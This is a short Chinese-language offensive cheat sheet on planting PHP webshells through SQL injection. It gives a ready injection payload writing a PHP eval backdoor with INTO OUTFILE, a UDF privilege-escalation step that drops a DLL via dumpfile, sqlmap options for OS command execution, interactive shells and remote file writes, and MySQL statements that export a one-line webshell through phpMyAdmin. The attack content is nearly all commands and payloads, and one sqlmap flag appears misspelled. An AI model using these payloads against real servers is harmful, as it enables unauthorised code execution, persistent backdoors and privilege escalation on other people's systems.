SQL注入写webshell
传统的sql语句写shell
通过sql注入select into outfile实现,如:
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#
dumpfile、file_put_contents
outfile不能用了怎么办?select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysqlserver 5.1/lib/plugin/xxoo.dll'
;可以 UDF提权https://www.cnblogs.com/milantgh/p/5444398.html
outfile适合导库,在行末会写入新行并转义,因此不能写入二进制可执行文件。
写shell条件
- 文件名必须是绝对路径
- 用户必须有写文件权限
sqlmap写shell
前提需要对目录具有写权限
--os-cmd="net user"
交互式命令执行,注意在使用交互式方式时需知道网站的绝对路径,执行成功后在绝对路径下创建文件返回结果,然后再自动删除。
--os-shell
写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell
关闭sqlmap文件就会被删除
本地写入webshell
先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数,即本地文件地址和目标文件地址,–file-write “./mst/mst.txt” –filei-dest “网站绝对路径/1.php”
需要最高权限。
mysql写一句话木马
mysql写木马,通常可以通过phpmyadmin来实现
前提:有读写的权限,由CREATE、INSERT、SELECT的权限。
创建一个表
CREATE TABLE a (cmd text NOT NULL);
插入数据
INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>');
导出一句话
SELECT cmd from a into outfile '/var/www/tmp/webshell.php';
删除表
DROP TABLE IF EXISTS a;